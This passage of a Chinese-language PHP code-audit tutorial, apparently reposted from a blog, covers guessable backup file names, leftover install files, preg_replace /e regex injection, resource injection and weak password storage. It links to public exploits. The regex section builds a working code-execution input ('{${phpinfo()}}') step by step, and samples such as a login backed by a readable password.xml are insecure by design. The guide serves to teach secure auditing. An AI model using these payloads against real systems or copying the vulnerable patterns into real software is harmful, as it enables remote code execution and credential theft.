本例中:將備份檔案寫入到”$rand_backup_.sql”中。在程式碼第2行中,我們可以看到$rand引數,它隨機生成1-100之間的任意數。攻擊者可寫入程式碼以暴力破解檔名。因此當我們在生成Session & Cookie的時候,應當謹慎地使用隨機函式。
攻擊例項:
PHP-Fusion <= 6.00.105 Accessible Database Backups Download Exploit:
http://www.milw0rm.com/exploits/1068
16 – HTML Comment中提供的詳細資訊 (Low):
HTML標籤可用於尋蹤WEB程式或者洩漏WEB程式結構。
17 – 預設安裝的多餘檔案 (medium):
一些PHP CMS或者WEB程式在安裝完成後並沒有刪除安裝檔案,導致攻擊者可以控制其中的資料或者重設管理員密碼。
18 – 正規表示式(Regular Expression)漏洞(High):
Regular Expression Injection或者RegEx Injection通過替換正規表示式中的修飾符e而將程式碼注入到WEB程式中。Perl支援這個修飾符,其它技術包括PCRE(Perl-compatible regular expressions) library。如果該漏洞被使用,其替換內容是可估計的。這種方法很強大,因為它不僅允許使用變數名,而且支援其它命令。
Example (RoundCube Bug):
RoundCube使用了html2text函式,它存在一個評論漏洞:使用者輸入的資料可被PHP引擎分析並執行。這將導致一些被惡意構造的輸入資料被WEB伺服器當作PHP程式碼來執行。這個漏洞是由於PHP中使用的preg_replace()函式用了`e` flag而導致的。在正規表示式中使用’e’將允許PHP對輸入資料進行處理。例如我們想將小寫字串更改為大寫的,可以使用以下程式碼:
<?php
print preg_replace(`/(.*)/e`, `strtoupper(“\1″)`, `test`);
?>
preg_replace函式允許程式設計師使用PHP中的strtoupper ()函式去處理輸入的字串,這將導致使用者可以輸入包含PHP命令的字串,以致造成不良後果。
利用該漏洞最絕的一招就是將PHP命令偽裝成變數來執行它們。在正常的操作中,preg_replace允許使用者在變數中傳輸並替換它們。例如:
<?php
$foo = `bar`;
print preg_replace(`/(.*)/e`, `strtoupper(“\1″)`, `$foo`);
?>
將輸出預料中的“BAR”。但當使用:
<?php
$foo = `bar`;
print preg_replace(`/(.*)/e`, `strtoupper(“\1″)`, `phpinfo()`);
?>
將會簡單地輸出”PHPINFO()”。為了使PHP引擎去解釋命令,我們必須將其分配給一個變數。通常可以簡單地使用一個`$`作為分隔符,並用上PHP大括號,於是:
<?php
print ${phpinfo()};
?>
將盡職地輸出phpinfo()命令的輸出結果。但如果我們將其傳送給原先的preg_replace()函式,那麼將會發生錯誤,你會注意到:
<?php
print preg_replace(`/(.*)/e`, `strtoupper(“\1″)`, `${phpinfo()}`);
?>
產生了下列錯誤:
[Tue Jan 13 09:24:48 2009] [error] [client 192.168.0.50] PHP Fatal error: preg_replace() [<a
href=`function.preg-replace`>function.preg-replace</a>]: Failed evaluating code:
strtoupper(“${phpinfo()}”) in /var/www/html/exploit.php on line 22
為了避免發生錯誤,我們需要再新增一個大括號,以執行賦予的命令。更改後的程式碼如下:
<?php
print preg_replace(`/(.*)/e`, `strtoupper(“\1″)`, `{${phpinfo()}}`);
?>
RoundCube漏洞出現在bin/html2text.sh中的行6中:
$converter = new html2text(html_entity_decode($HTTP_RAW_POST_DATA, ENT_COMPAT, `UTF-8`));
攻擊例項:
Analysis of the RoundCube html2text Vulnerability
http://www.milw0rm.com/exploits/7549
http://www.securiteam.com/exploits/6W00L0KC0I.html
更多資訊:
http://hauser-wenz.de/playground/papers/RegExInjection.pdf
19 – Resource Injection (Medium):
當遇到下面兩種情況時資源注入漏洞就發生了:
1. 攻擊者可以指定識別符號去訪問系統資源。
例如攻擊者可以指定一個埠號去連線網路資源。
2. 通過指定資源,攻擊者可以獲得原本並未許可的許可權。
例如程式可能會允許攻擊者傳送敏感資訊給第三方服務端。
下面看一看關於此漏洞更為詳細的路徑操作描述。
Example:下列程式碼中讀取了HTTP request中的hostname,並使用它去連線決定票價的資料庫。
<?php
$host=$_GET[`host`];
$dbconn = pg_connect(“host=$host port=1234 dbname=ticketdb”);
…
$result = pg_prepare($dbconn, “my_query”, `SELECT * FROM pricelist WHER
E name = $1`);
$result = pg_execute($dbconn, “my_query”, array(“ticket”));
?>
這類可被使用者的輸入資料影響到的資源意味著這類內容存在危險。例如,資料中包含特定的字元,比如句號,斜杆,反斜杆,當使用這種可危害到檔案系統的方式時都是存在風險的。同時,包含URL和URI的資料對於建立遠端連線也是存在風險的。
攻擊例項:
Synthetic Attack [XSS , RI ] :
http://www.milw0rm.com/exploits/7866
20 – 弱口令: (Low)
你必須檢查一下:
– 你在資料庫中使用未加密的明碼。
– 加密密碼(例如:MD5),但還不夠安全。
– 儲存密碼在[.txt, .ini, .xml…]等檔案中,這些檔案都有可能被攻擊者讀取到。
– 使用弱口令。
例如password.xml(可被攻擊者讀取)
攻擊:
Http://viktim.com/password.xml
<?xml version=”1.0″ ?>
<novo-xml>
<register>
<client-id>test</client-id>
<password>`.$username.`</password>
<user-id>`.$password.`</user-id>
<phone-num>`.$phone.`</phone-num>
<app-id>test</app-id>
<channel>I</channel>
<user-type>upgrade</user-type>
</register>
</novo-xml>
通過 password.xml進行認證:
Login.php
<form method=”post” action=”login.php”>
Username: <input type=”text” name=”username”>
<br />
Password: <input type=”password” name=”password”>
<br />
<input type=”submit” name=”submit” value=”Login”>
</form>
<?php
$file = “password.xml”;
$username = $_POST[‘username’];
$password = $_POST[‘password’];
if (file_exists($file))
{
$xml = simplexml_load_file($file);
$count = 0;
foreach($xml->username as $currUser)
{
if (strtolower($currUser) == strtolower($username))
{
break;
}
$count++;
}
if ($xml->active[$count] == 1)
{
if (md5($password) == $xml->password[$count])
{
echo “Valid user logged in!”;
}else{
echo “Password does not match. Come on! Try harder!”;
}
}
else{
echo “User is inactive. Choose another!”;
}
}else{
echo “Critical Error: File not found!”;
}
?>
攻擊例項:
Passwords Decrypted for UPB <= 1.9.6:
http://www.securityfocus.com/bid/13975/exploit
Section 2: PHP原始碼審計自動化( PHP Fuzzer )
1- Codescan PHP[$]:
http://www.codescan.com/
2- Rats [free] :
http://www.fortify.com/security-resources/rats.jsp
3- Pixy [sqli – xss] :
http://pixybox.seclab.tuwien.ac.at/
問題:
本文並未完全涉及PHP原始碼安全檢閱(審計),由於時間倉促,因此對於文中所造成的錯誤表示抱歉。筆者無法保證,但有可能會發布本文的下一版本,以包含更多高階的方法。
下面是一些可能在下一版本中會被討論到的內容:
1- 更多的攻擊例項
2- PHPIDS防禦
3- 更為危險的函式:CURL – socket – creat_function & ….
4- 討論一些函式的安全使用
5- 關於PHP安全程式設計書籍的相關資訊
6- ETC
資源:
http://www.fortify.com
http://wikipedia.com
http://www.madirish.net
http://www.owasp.org
http://samate.nist.gov/
http://searchsecuritychannel.techtarget.com/
http://www.webappsec.org
http://phpsec.org
本文轉sinojelly51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/290777
,如需轉載請自行聯絡原作者
相關文章
- php原始碼審計PHP原始碼
- Abp 審計模組原始碼解讀原始碼
- 基於Java關鍵詞審計技巧?網路安全原始碼審計Java原始碼
- 開原始碼審計系統 Swallow 內測釋出原始碼
- Seay原始碼審計系統的配置和安裝原始碼
- CSCMS程式碼審計
- PHP程式碼審計PHP
- buu 程式碼審計
- 網路安全學習中,原始碼審計有哪些分類?原始碼
- CodeQL的自動化程式碼審計之路(上篇)
- CodeQL的自動化程式碼審計之路(中篇)
- php程式碼審計之——phpstorm動態除錯PHPORM除錯
- 基於Python的自動化程式碼審計Python
- 淺談PHP自動化程式碼審計技術PHP
- 什麼是程式碼審計?程式碼審計有什麼好處?
- Graudit程式碼安全審計
- 程式碼審計————目錄
- aspx程式碼審計-2
- JFinalcms程式碼審計
- Java程式碼審計篇 - ofcms系統審計思路講解 - 篇2 - SQL隱碼攻擊漏洞審計JavaSQL
- 哪些業務場景需要做程式碼審計?程式碼審計很重要嗎?
- 程式碼審計是什麼?程式碼審計操作流程分為幾步?
- 打造自己的php半自動化程式碼審計工具PHP
- Java程式碼審計篇 - ofcms系統審計思路講解 - 篇4 - XXE漏洞審計Java
- oasys系統程式碼審計
- python 安全編碼&程式碼審計Python
- Java審計之命令執行篇Java
- IT行業新職位——IT審計師行業
- Java程式碼審計篇 - ofcms系統審計思路講解 - 篇3 - 檔案上傳漏洞審計Java
- 網路安全學原始碼審計嗎?怎樣才能學好網路安全原始碼
- 程式碼審計入門總結
- 為什麼要做程式碼審計?
- Java程式碼審計入門篇Java
- 記一次完整的PHP程式碼審計——yccms v3.4審計PHP
- 巢狀滾動設計和原始碼分析巢狀原始碼
- 巧用自定義註解,一行程式碼搞定審計日誌行程
- [JavaWeb]Shiro漏洞集合——程式碼審計JavaWeb
- 米安程式碼審計 07 越權漏洞